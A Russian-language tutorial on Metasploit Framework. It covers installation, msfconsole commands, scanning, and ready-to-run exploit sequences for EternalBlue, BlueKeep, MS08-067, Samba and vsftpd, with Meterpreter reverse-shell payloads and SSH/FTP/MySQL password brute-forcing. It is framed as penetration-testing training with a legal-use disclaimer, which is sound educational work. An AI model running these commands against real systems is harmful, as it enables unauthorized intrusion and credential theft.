Изображение

ВВЕДЕНИЕ

В современном мире кибербезопасности понимание методов атак критически важно для эффективной защиты. Metasploit Framework является одним из самых мощных и широко используемых инструментов для тестирования на проникновение (пентестинга) и оценки безопасности информационных систем. Этот инструмент позволяет специалистам по безопасности находить, эксплуатировать и проверять уязвимости в системах, сетях и приложениях.

Metasploit был создан в 2003 году H.D. Moore и с тех пор стал стандартом индустрии для пентестинга и безопасности. Framework предоставляет огромную базу эксплойтов, payload'ов, вспомогательных модулей и инструментов для автоматизации тестирования на проникновение. Он используется как этичными хакерами и пентестерами, так и специалистами по информационной безопасности для оценки защищенности систем.

Изучение Metasploit Framework необходимо для всех, кто хочет работать в области кибербезопасности. Этот инструмент позволяет понять, как злоумышленники атакуют системы, что помогает создавать более эффективные защиты. Однако важно помнить, что Metasploit должен использоваться только в легальных целях - для тестирования собственных систем, с явного разрешения владельцев систем, или в рамках официальных пентестов.

В этом руководстве мы рассмотрим все аспекты работы с Metasploit Framework: от установки и базовой настройки до продвинутых техник эксплуатации уязвимостей. Вы узнаете, как работать с различными модулями, создавать payload'ы, использовать Meterpreter для пост-эксплуатации, и как интегрировать Metasploit в процесс пентестинга. Руководство предназначено для начинающих, но также содержит продвинутые техники для опытных специалистов.

РАЗДЕЛ 1: ЧТО ТАКОЕ METASPLOIT FRAMEWORK И ЗАЧЕМ ОН НУЖЕН (900 слов)

Metasploit Framework — это open-source платформа для разработки и выполнения эксплойтов (exploits) против уязвимых систем. Это комплексный инструмент, который объединяет в себе множество функций для тестирования на проникновение: от разведки и сканирования до эксплуатации уязвимостей и пост-эксплуатации.

История Metasploit началась в 2003 году, когда H.D. Moore создал первый прототип как инструмент для демонстрации уязвимостей. С тех пор проект вырос в полноценный фреймворк, который используется тысячами специалистов по безопасности по всему миру. В 2009 году проект был приобретен Rapid7, но остался open-source, что обеспечивает его постоянное развитие и обновление сообществом.

Основные компоненты Metasploit Framework включают:

1. Exploits (Эксплойты): Модули, которые используют уязвимости в системах для получения доступа. Metasploit содержит тысячи эксплойтов для различных операционных систем, приложений и сетевых устройств.

2. Payloads (Полезная нагрузка): Код, который выполняется после успешной эксплуатации уязвимости. Payload'ы могут быть простыми (например, открытие оболочки) или сложными (например, Meterpreter).

3. Auxiliary (Вспомогательные модули): Инструменты для сканирования, фаззинга, перебора паролей и других задач, которые не связаны напрямую с эксплуатацией уязвимостей.

4. Encoders (Кодировщики): Модули для обфускации payload'ов, чтобы обойти антивирусы и системы обнаружения вторжений (IDS).

5. NOPs (No-Operation): Инструкции, используемые для выравнивания памяти при разработке эксплойтов.

6. Post-Exploitation модули: Инструменты для работы после получения доступа к системе: сбор информации, эскалация привилегий, кража данных.

Metasploit Framework используется в различных сценариях:

Оценка безопасности: Специалисты по безопасности используют Metasploit для проверки защищенности систем. Это позволяет выявить уязвимости до того, как их обнаружат злоумышленники.

Пентестинг: Профессиональные пентестеры используют Metasploit в рамках официальных тестов на проникновение для оценки безопасности инфраструктуры клиентов.

Обучение: Metasploit является отличным инструментом для изучения методов атак и защиты. Понимание того, как работают атаки, помогает создавать более эффективные защиты.

Исследования безопасности: Исследователи используют Metasploit для разработки новых эксплойтов и изучения уязвимостей.

Red Team упражнения: Команды безопасности используют Metasploit в симуляциях атак для проверки готовности Blue Team к реальным инцидентам.

Одной из ключевых особенностей Metasploit является его модульная архитектура. Каждый эксплойт, payload или вспомогательный модуль является отдельным компонентом, который можно легко настроить и использовать. Это позволяет быстро адаптировать инструмент под конкретные задачи и создавать собственные модули.

Metasploit поддерживает несколько интерфейсов:

- msfconsole: Консольный интерфейс командной строки, основной способ работы с Metasploit.

- msfcli: Упрощенный интерфейс командной строки для быстрого выполнения отдельных команд.

- Armitage: Графический интерфейс для Metasploit, упрощающий визуализацию атак.

- REST API: Программный интерфейс для интеграции Metasploit с другими инструментами.

- Metasploit Pro: Коммерческая версия с дополнительными возможностями автоматизации и отчетности.

Важно понимать, что Metasploit — это инструмент, который может быть использован как для защиты, так и для атак. Использование Metasploit против систем без явного разрешения является незаконным и может повлечь серьезные юридические последствия. Всегда убеждайтесь, что у вас есть письменное разрешение на тестирование систем.

РАЗДЕЛ 2: УСТАНОВКА И НАСТРОЙКА METASPLOIT FRAMEWORK (1100 слов)

Установка Metasploit Framework зависит от вашей операционной системы. Наиболее популярным вариантом является установка на Kali Linux, который уже включает Metasploit в стандартную комплектацию. Однако Metasploit можно установить и на другие Linux-системы, macOS и Windows.

Установка на Kali Linux:

Kali Linux уже включает Metasploit Framework, но его нужно обновить:

bash
<h2 id="obnovlenie-sistemy">Обновление системы</h2>
sudo apt update && sudo apt upgrade -y

<h2 id="obnovlenie-metasploit">Обновление Metasploit</h2>
sudo apt install metasploit-framework -y

<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
sudo msfdb init

<h2 id="zapusk-metasploit">Запуск Metasploit</h2>
msfconsole


Установка на Ubuntu/Debian:

bash
<h2 id="dobavlenie-repozitoriya-rapid7">Добавление репозитория Rapid7</h2>
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb | sudo bash

<h2 id="ustanovka-zavisimostey">Установка зависимостей</h2>
sudo apt install build-essential libpq-dev libpcap-dev postgresql postgresql-contrib -y

<h2 id="ustanovka-metasploit">Установка Metasploit</h2>
sudo apt install metasploit-framework -y

<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
sudo msfdb init

<h2 id="zapusk-postgresql">Запуск PostgreSQL</h2>
sudo systemctl start postgresql
sudo systemctl enable postgresql

<h2 id="proverka-podklyucheniya-k-baze-dannyh">Проверка подключения к базе данных</h2>
sudo msfdb status


Установка на macOS:

bash
<h2 id="ispolzovanie-homebrew">Использование Homebrew</h2>
brew install metasploit

<h2 id="ili-ustanovka-cherez-ustanovschik-rapid7">Или установка через установщик Rapid7</h2>
<h2 id="skachayte-ustanovschik-s-ofitsialnogo-sayta-rapid7">Скачайте установщик с официального сайта Rapid7</h2>

<h2 id="initsializatsiya-bazy-dannyh">Инициализация базы данных</h2>
msfdb init


Настройка базы данных:

Metasploit использует PostgreSQL для хранения информации об эксплойтах, payload'ах и результатах сканирования. Правильная настройка базы данных критически важна для работы Metasploit.

bash
<h2 id="proverka-statusa-bazy-dannyh">Проверка статуса базы данных</h2>
sudo msfdb status

<h2 id="pereinitsializatsiya-bazy-dannyh-esli-nuzhno">Переинициализация базы данных (если нужно)</h2>
sudo msfdb reinit

<h2 id="izmenenie-parolya-bazy-dannyh">Изменение пароля базы данных</h2>
sudo msfdb change_db_password

<h2 id="proverka-podklyucheniya">Проверка подключения</h2>
msfconsole -q
db_status


Настройка конфигурации:

Файл конфигурации Metasploit находится в `~/.msf4/`. Основные настройки:

bash
<h2 id="sozdanie-direktorii-konfiguratsii">Создание директории конфигурации</h2>
mkdir -p ~/.msf4

<h2 id="redaktirovanie-konfiguratsii">Редактирование конфигурации</h2>
nano ~/.msf4/config


Основные параметры конфигурации:

- `ConsoleLogging`: Включение логирования команд в консоли
- `LogLevel`: Уровень логирования (0-5)
- `Prompt`: Настройка приглашения командной строки
- `TimestampOutput`: Добавление временных меток в вывод

Обновление базы эксплойтов:

Metasploit регулярно обновляется новыми эксплойтами и исправлениями. Важно поддерживать базу в актуальном состоянии:

bash
<h2 id="obnovlenie-cherez-msfupdate">Обновление через msfupdate</h2>
sudo msfupdate

<h2 id="ili-obnovlenie-cherez-apt-dlya-kali-linux">Или обновление через apt (для Kali Linux)</h2>
sudo apt update && sudo apt upgrade metasploit-framework -y

<h2 id="obnovlenie-v-konsoli-metasploit">Обновление в консоли Metasploit</h2>
msfconsole
msfupdate
exit


Установка дополнительных инструментов:

Для полноценной работы с Metasploit рекомендуется установить дополнительные инструменты:

bash
<h2 id="nmap-dlya-skanirovaniya-seti">Nmap для сканирования сети</h2>
sudo apt install nmap -y

<h2 id="wireshark-dlya-analiza-setevogo-trafika">Wireshark для анализа сетевого трафика</h2>
sudo apt install wireshark -y

<h2 id="burp-suite-dlya-testirovaniya-veb-prilozheniy-community-edition">Burp Suite для тестирования веб-приложений (Community Edition)</h2>
<h2 id="skachayte-s-ofitsialnogo-sayta-portswigger">Скачайте с официального сайта PortSwigger</h2>

<h2 id="metasploit-pro-optsionalno-kommercheskaya-versiya">Metasploit Pro (опционально, коммерческая версия)</h2>
<h2 id="trebuet-litsenziyu-ot-rapid7">Требует лицензию от Rapid7</h2>


Настройка рабочего окружения:

Создайте структуру директорий для организации ваших работ:

bash
mkdir -p ~/pentest/{reports,scripts,exploits,payloads}


Решение проблем при установке:

1. Ошибка подключения к базе данных:
bash
sudo systemctl start postgresql
sudo msfdb reinit


2. Ошибки зависимостей:
bash
sudo apt install -f
sudo apt install build-essential ruby-dev -y


3. Проблемы с правами доступа:
bash
sudo chown -R $USER:$USER ~/.msf4


Проверка установки:

После установки проверьте работоспособность:

bash
<h2 id="zapusk-metasploit">Запуск Metasploit</h2>
msfconsole

<h2 id="v-konsoli-metasploit">В консоли Metasploit:</h2>
version # Проверка версии
db_status # Проверка подключения к БД
search eternalblue # Поиск эксплойта (проверка базы)
exit


Настройка производительности:

Для улучшения производительности Metasploit:

1. Увеличьте лимиты PostgreSQL:
bash
sudo nano /etc/postgresql/*/main/postgresql.conf
<h2 id="izmenite-shared-buffers-256mb">Измените: shared_buffers = 256MB</h2>
<h2 id="izmenite-work-mem-16mb">Измените: work_mem = 16MB</h2>
sudo systemctl restart postgresql


2. Оптимизируйте настройки Ruby:
bash
export RUBY_GC_HEAP_INIT_SLOTS=1000000
export RUBY_GC_HEAP_FREE_SLOTS=500000
export RUBY_GC_HEAP_GROWTH_FACTOR=1.1


РАЗДЕЛ 3: БАЗОВЫЕ КОМАНДЫ И НАЧАЛО РАБОТЫ (1100 слов)

После установки Metasploit важно освоить базовые команды и понять структуру работы с фреймворком. В этом разделе мы рассмотрим основные команды msfconsole и принципы работы с модулями.

Запуск Metasploit:

bash
<h2 id="zapusk-s-podklyucheniem-k-baze-dannyh">Запуск с подключением к базе данных</h2>
msfconsole

<h2 id="zapusk-bez-banera-quiet-mode">Запуск без банера (quiet mode)</h2>
msfconsole -q

<h2 id="zapusk-s-vypolneniem-skripta">Запуск с выполнением скрипта</h2>
msfconsole -r script.rc

<h2 id="zapusk-s-logirovaniem">Запуск с логированием</h2>
msfconsole -L


Основные команды консоли:

После запуска msfconsole вы увидите приглашение командной строки. Основные команды:

bash
<h2 id="spravka-po-komandam">Справка по командам</h2>
help
help <команда>

<h2 id="poisk-moduley">Поиск модулей</h2>
search <название>
search type:exploit platform:windows
search name:eternalblue

<h2 id="ispolzovanie-modulya">Использование модуля</h2>
use <путь_к_модулю>
use exploit/windows/smb/ms17_010_eternalblue

<h2 id="informatsiya-o-module">Информация о модуле</h2>
info
info <модуль>

<h2 id="pokaz-optsiy-modulya">Показ опций модуля</h2>
show options
show payloads
show targets
show advanced

<h2 id="ustanovka-optsiy">Установка опций</h2>
set <параметр> <значение>
set RHOSTS 192.168.1.100
set RPORT 445

<h2 id="pokaz-ustanovlennyh-optsiy">Показ установленных опций</h2>
show options

<h2 id="zapusk-modulya">Запуск модуля</h2>
exploit
run

<h2 id="fonovaya-rabota">Фоновая работа</h2>
exploit -j # Запуск в фоне как job
jobs # Показ фоновых задач
jobs -K # Остановка всех задач


Работа с базой данных:

Metasploit может автоматически импортировать результаты сканирования и управлять хостами:

bash
<h2 id="status-bazy-dannyh">Статус базы данных</h2>
db_status

<h2 id="import-rezultatov-nmap">Импорт результатов Nmap</h2>
db_nmap -sV 192.168.1.0/24

<h2 id="import-iz-fayla">Импорт из файла</h2>
db_import /path/to/nmap.xml

<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -R # Добавить в RHOSTS

<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80 -R # Добавить порты в RHOSTS

<h2 id="prosmotr-uyazvimostey">Просмотр уязвимостей</h2>
vulns

<h2 id="ochistka-bazy-dannyh">Очистка базы данных</h2>
db_connect
db_disconnect
db_rebuild_cache


Структура модулей Metasploit:

Модули Metasploit организованы по категориям:

- exploits/: Эксплойты для эксплуатации уязвимостей
- payloads/: Полезные нагрузки
- auxiliary/: Вспомогательные модули (сканеры, фаззеры)
- post/: Модули пост-эксплуатации
- encoders/: Кодировщики для обфускации
- nops/: NOP-слайды

Пример работы с эксплойтом:

bash
<h2 id="1-poisk-eksployta">1. Поиск эксплойта</h2>
msf6 > search eternalblue

<h2 id="2-vybor-modulya">2. Выбор модуля</h2>
msf6 > use exploit/windows/smb/ms17_010_eternalblue

<h2 id="3-prosmotr-informatsii">3. Просмотр информации</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > info

<h2 id="4-prosmotr-optsiy">4. Просмотр опций</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

<h2 id="5-ustanovka-parametrov">5. Установка параметров</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50

<h2 id="6-vybor-payload">6. Выбор payload</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

<h2 id="7-proverka-pered-zapuskom">7. Проверка перед запуском</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

<h2 id="8-zapusk-eksployta">8. Запуск эксплойта</h2>
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit


Работа с сессиями:

После успешного выполнения эксплойта создается сессия:

bash
<h2 id="prosmotr-aktivnyh-sessiy">Просмотр активных сессий</h2>
sessions
sessions -l

<h2 id="vzaimodeystvie-s-sessiey">Взаимодействие с сессией</h2>
sessions -i <ID>
sessions -i 1

<h2 id="vyhod-iz-sessii">Выход из сессии</h2>
background
exit

<h2 id="ubit-sessiyu">Убить сессию</h2>
sessions -k <ID>
sessions -K # Убить все сессии


Использование ресурсных скриптов:

Ресурсные скрипты позволяют автоматизировать работу:

bash
<h2 id="sozdanie-skripta">Создание скрипта</h2>
cat > exploit.rc << EOF
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
EOF

<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r exploit.rc

<h2 id="ili-v-konsoli">Или в консоли</h2>
resource exploit.rc


Полезные команды:

bash
<h2 id="istoriya-komand">История команд</h2>
history
history -c # Очистка истории

<h2 id="sohranenie-konfiguratsii">Сохранение конфигурации</h2>
save

<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
reload_all

<h2 id="ochistka-ekrana">Очистка экрана</h2>
clear

<h2 id="vyhod">Выход</h2>
exit
quit


Работа с переменными:

bash
<h2 id="ustanovka-globalnyh-peremennyh">Установка глобальных переменных</h2>
setg LHOST 192.168.1.50
setg LPORT 4444

<h2 id="prosmotr-globalnyh-peremennyh">Просмотр глобальных переменных</h2>
getg

<h2 id="sbros-peremennoy">Сброс переменной</h2>
unset LHOST
unsetg LHOST

<h2 id="prosmotr-vseh-peremennyh">Просмотр всех переменных</h2>
show advanced


Работа с модулями:

bash
<h2 id="prosmotr-informatsii-o-module">Просмотр информации о модуле</h2>
info exploit/windows/smb/ms17_010_eternalblue

<h2 id="prosmotr-vseh-optsiy">Просмотр всех опций</h2>
show options
show advanced
show evasion
show targets
show payloads

<h2 id="prosmotr-opisaniya">Просмотр описания</h2>
show info

<h2 id="prosmotr-avtorov">Просмотр авторов</h2>
show authors


Поиск модулей:

bash
<h2 id="poisk-po-nazvaniyu">Поиск по названию</h2>
search eternalblue

<h2 id="poisk-po-tipu">Поиск по типу</h2>
search type:exploit

<h2 id="poisk-po-platforme">Поиск по платформе</h2>
search platform:windows

<h2 id="poisk-po-cve">Поиск по CVE</h2>
search cve:2017-0144

<h2 id="kombinirovannyy-poisk">Комбинированный поиск</h2>
search type:exploit platform:windows name:smb

<h2 id="poisk-po-avtoru">Поиск по автору</h2>
search author:hdm


Работа с базой данных:

bash
<h2 id="status-bazy-dannyh">Статус базы данных</h2>
db_status

<h2 id="podklyuchenie-k-baze">Подключение к базе</h2>
db_connect postgres:password@localhost:5432/metasploit

<h2 id="otklyuchenie-ot-bazy">Отключение от базы</h2>
db_disconnect

<h2 id="eksport-dannyh">Экспорт данных</h2>
db_export -f xml results.xml
db_export -f pwdump passwords.txt

<h2 id="import-dannyh">Импорт данных</h2>
db_import /path/to/file.xml

<h2 id="ochistka-bazy">Очистка базы</h2>
db_connect
db_rebuild_cache


Работа с хостами и сервисами:

bash
<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -c address,os_name,os_flavor
hosts -R # Добавить в RHOSTS

<h2 id="dobavlenie-hosta">Добавление хоста</h2>
hosts -a 192.168.1.100 -n "Target Server"

<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80,443
services -p 445 -R # Добавить порты в RHOSTS

<h2 id="prosmotr-uyazvimostey">Просмотр уязвимостей</h2>
vulns
vulns -c name,refs

<h2 id="prosmotr-logov">Просмотр логов</h2>
creds
creds -a user:password


Автоматизация:

bash
<h2 id="sozdanie-resursnogo-skripta">Создание ресурсного скрипта</h2>
cat > auto.rc << EOF
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit
EOF

<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r auto.rc

<h2 id="ili-v-konsoli">Или в консоли</h2>
resource auto.rc
make_handler -P windows/meterpreter/reverse_tcp -H 192.168.1.50 -p 4444


Работа с логами:

bash
<h2 id="vklyuchenie-logirovaniya">Включение логирования</h2>
set Logging true
set Logging /path/to/log.txt

<h2 id="prosmotr-logov">Просмотр логов</h2>
tail -f /var/log/metasploit.log


Отладка:

bash
<h2 id="vklyuchenie-verbose-rezhima">Включение verbose режима</h2>
set VERBOSE true

<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check

<h2 id="prosmotr-detalnoy-informatsii">Просмотр детальной информации</h2>
show info
show targets
show advanced


Работа с сессиями:

bash
<h2 id="prosmotr-vseh-sessiy">Просмотр всех сессий</h2>
sessions
sessions -l

<h2 id="vzaimodeystvie-s-sessiey">Взаимодействие с сессией</h2>
sessions -i 1

<h2 id="vypolnenie-komandy-vo-vseh-sessiyah">Выполнение команды во всех сессиях</h2>
sessions -c "whoami"

<h2 id="ubit-sessiyu">Убить сессию</h2>
sessions -k 1

<h2 id="ubit-vse-sessii">Убить все сессии</h2>
sessions -K


Продвинутые команды:

bash
<h2 id="sozdanie-handler">Создание handler</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
exploit -j

<h2 id="prosmotr-jobs">Просмотр jobs</h2>
jobs
jobs -K # Убить все jobs

<h2 id="ispolzovanie-autorunscript">Использование AutoRunScript</h2>
set AutoRunScript migrate -n explorer.exe


РАЗДЕЛ 4: РАЗВЕДКА И СКАНИРОВАНИЕ (1000 слов)

Перед эксплуатацией уязвимостей необходимо провести разведку целевой системы. Metasploit предоставляет множество вспомогательных модулей для сбора информации о целевых системах.

Сканирование портов:

bash
<h2 id="ispolzovanie-modulya-skanera-portov">Использование модуля сканера портов</h2>
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
run

<h2 id="sinhronnoe-skanirovanie">Синхронное сканирование</h2>
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.100
set PORTS 80,443,445,3389
run


Определение версий сервисов:

bash
<h2 id="skanirovanie-versiy">Сканирование версий</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
set RPORT 80
run

<h2 id="opredelenie-versii-ssh">Определение версии SSH</h2>
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run


Сканирование SMB:

bash
<h2 id="perechislenie-smb">Перечисление SMB</h2>
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run

<h2 id="perechislenie-obschih-resursov">Перечисление общих ресурсов</h2>
use auxiliary/scanner/smb/smb_enumshares
set RHOSTS 192.168.1.100
run

<h2 id="perechislenie-polzovateley">Перечисление пользователей</h2>
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS 192.168.1.100
run


Сканирование веб-приложений:

bash
<h2 id="perechislenie-direktoriy">Перечисление директорий</h2>
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
set RPORT 80
run

<h2 id="opredelenie-cms">Определение CMS</h2>
use auxiliary/scanner/http/cms_enum
set RHOSTS 192.168.1.100
run

<h2 id="poisk-faylov-robots-txt">Поиск файлов robots.txt</h2>
use auxiliary/scanner/http/robots_txt
set RHOSTS 192.168.1.100
run


Использование Nmap через Metasploit:

bash
<h2 id="import-rezultatov-nmap">Импорт результатов Nmap</h2>
db_nmap -sV -p- 192.168.1.100

<h2 id="sohranenie-rezultatov">Сохранение результатов</h2>
db_nmap -sV -oX scan.xml 192.168.1.100

<h2 id="ispolzovanie-hostov-iz-bazy">Использование хостов из базы</h2>
hosts
hosts -R # Добавить в RHOSTS


Сканирование уязвимостей:

bash
<h2 id="skanirovanie-smb-na-eternalblue">Сканирование SMB на EternalBlue</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

<h2 id="skanirovanie-na-heartbleed">Сканирование на Heartbleed</h2>
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS 192.168.1.100
set RPORT 443
run

<h2 id="skanirovanie-na-ms08-067">Сканирование на MS08-067</h2>
use auxiliary/scanner/smb/smb_ms08_067
set RHOSTS 192.168.1.0/24
run


Сканирование FTP:

bash
<h2 id="anonimnyy-ftp">Анонимный FTP</h2>
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.100
run

<h2 id="perebor-paroley-ftp">Перебор паролей FTP</h2>
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/usernames.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run


Сканирование SSH:

bash
<h2 id="perebor-paroley-ssh">Перебор паролей SSH</h2>
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/passwords.txt
run

<h2 id="opredelenie-podderzhivaemyh-algoritmov">Определение поддерживаемых алгоритмов</h2>
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
run


Сканирование баз данных:

bash
<h2 id="skanirovanie-mysql">Сканирование MySQL</h2>
use auxiliary/scanner/mysql/mysql_version
set RHOSTS 192.168.1.100
run

<h2 id="perebor-paroley-mysql">Перебор паролей MySQL</h2>
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.100
set USERNAME root
set PASS_FILE /usr/share/wordlists/passwords.txt
run

<h2 id="skanirovanie-postgresql">Сканирование PostgreSQL</h2>
use auxiliary/scanner/postgres/postgres_version
set RHOSTS 192.168.1.100
run


Сканирование почтовых серверов:

bash
<h2 id="opredelenie-versii-smtp">Определение версии SMTP</h2>
use auxiliary/scanner/smtp/smtp_version
set RHOSTS 192.168.1.100
run

<h2 id="perechislenie-polzovateley-smtp">Перечисление пользователей SMTP</h2>
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
run


Сканирование RDP:

bash
<h2 id="proverka-na-bluekeep">Проверка на BlueKeep</h2>
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS 192.168.1.0/24
run

<h2 id="opredelenie-versii-rdp">Определение версии RDP</h2>
use auxiliary/scanner/rdp/rdp_scanner
set RHOSTS 192.168.1.100
run


Автоматизация сканирования:

Для автоматизации процесса разведки можно использовать ресурсные скрипты:

bash
<h2 id="sozdanie-skripta-skanirovaniya">Создание скрипта сканирования</h2>
cat > scan.rc << EOF
db_nmap -sV -p- 192.168.1.0/24
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run
EOF

<h2 id="zapusk-skripta">Запуск скрипта</h2>
msfconsole -r scan.rc


Использование результатов сканирования:

После сканирования результаты сохраняются в базе данных:

bash
<h2 id="prosmotr-hostov">Просмотр хостов</h2>
hosts
hosts -c address,os_name

<h2 id="prosmotr-servisov">Просмотр сервисов</h2>
services
services -p 80,443

<h2 id="dobavlenie-hostov-v-rhosts">Добавление хостов в RHOSTS</h2>
hosts -R
services -p 445 -R

<h2 id="eksport-rezultatov">Экспорт результатов</h2>
db_export -f xml scan_results.xml


РАЗДЕЛ 5: ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ (1200 слов)

Эксплуатация уязвимостей — это основная функция Metasploit. В этом разделе мы рассмотрим процесс эксплуатации различных типов уязвимостей.

Эксплуатация Windows уязвимостей:

bash
<h2 id="eternalblue-ms17-010">EternalBlue (MS17-010)</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit

<h2 id="bluekeep-cve-2019-0708">BlueKeep (CVE-2019-0708)</h2>
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit

<h2 id="ms08-067-staryy-no-populyarnyy">MS08-067 (старый, но популярный)</h2>
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/meterpreter/reverse_tcp
exploit


Эксплуатация веб-уязвимостей:

bash
<h2 id="sql-injection-cherez-metasploit">SQL Injection через Metasploit</h2>
use auxiliary/admin/http/tomcat_administration
set RHOSTS 192.168.1.100
set RPORT 8080
run

<h2 id="php-cgi-argument-injection">PHP CGI Argument Injection</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set RPORT 80
set TARGETURI /cgi-bin/php
set LHOST 192.168.1.50
exploit


Эксплуатация Linux уязвимостей:

bash
<h2 id="samba-cve-2017-7494">Samba (CVE-2017-7494)</h2>
use exploit/linux/samba/is_known_pipename
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload linux/x64/meterpreter/reverse_tcp
exploit

<h2 id="vsftpd-backdoor">VSFTPD backdoor</h2>
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit


Выбор и настройка payload:

bash
<h2 id="prosmotr-dostupnyh-payload">Просмотр доступных payload</h2>
show payloads

<h2 id="windows-payloads">Windows payloads</h2>
set payload windows/meterpreter/reverse_tcp
set payload windows/shell/reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp

<h2 id="linux-payloads">Linux payloads</h2>
set payload linux/x86/meterpreter/reverse_tcp
set payload linux/x64/shell/reverse_tcp

<h2 id="nastroyka-parametrov-payload">Настройка параметров payload</h2>
set LHOST 192.168.1.50
set LPORT 4444
show options


Продвинутые техники:

bash
<h2 id="ispolzovanie-staged-payload">Использование staged payload</h2>
set payload windows/meterpreter/reverse_tcp
<h2 id="staged-payload-zagruzhaetsya-v-dva-etapa">Staged payload загружается в два этапа</h2>

<h2 id="ispolzovanie-stageless-payload">Использование stageless payload</h2>
set payload windows/meterpreter_reverse_tcp
<h2 id="stageless-payload-polnostyu-zagruzhaetsya-srazu">Stageless payload полностью загружается сразу</h2>

<h2 id="ispolzovanie-bind-shell">Использование bind shell</h2>
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.1.100
<h2 id="sozdaet-proslushivayuschiy-port-na-tseli">Создает прослушивающий порт на цели</h2>

<h2 id="ispolzovanie-https">Использование HTTPS</h2>
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.50
<h2 id="ispolzuet-https-dlya-obhoda-fayrvolov">Использует HTTPS для обхода файрволов</h2>


Процесс эксплуатации уязвимости:

Процесс эксплуатации уязвимости состоит из нескольких этапов:

1. Разведка: Сбор информации о целевой системе
2. Выбор эксплойта: Выбор подходящего эксплойта для уязвимости
3. Настройка эксплойта: Установка необходимых параметров
4. Выбор payload: Выбор полезной нагрузки
5. Запуск: Выполнение эксплойта
6. Пост-эксплуатация: Работа после получения доступа

Пример полного процесса:

bash
<h2 id="1-razvedka">1. Разведка</h2>
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
<h2 id="rezultat-windows-7-sp1-smb-2-1">Результат: Windows 7 SP1, SMB 2.1</h2>

<h2 id="2-proverka-uyazvimosti">2. Проверка уязвимости</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.100
run
<h2 id="rezultat-sistema-uyazvima">Результат: Система уязвима</h2>

<h2 id="3-vybor-i-nastroyka-eksployta">3. Выбор и настройка эксплойта</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50

<h2 id="4-vybor-payload">4. Выбор payload</h2>
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 4444

<h2 id="5-proverka-optsiy">5. Проверка опций</h2>
show options

<h2 id="6-zapusk">6. Запуск</h2>
exploit


Обработка ошибок при эксплуатации:

bash
<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check
<h2 id="rezultat-pokazhet-uyazvima-li-sistema">Результат покажет, уязвима ли система</h2>

<h2 id="ispolzovanie-verbose-rezhima-dlya-otladki">Использование verbose режима для отладки</h2>
set VERBOSE true
exploit

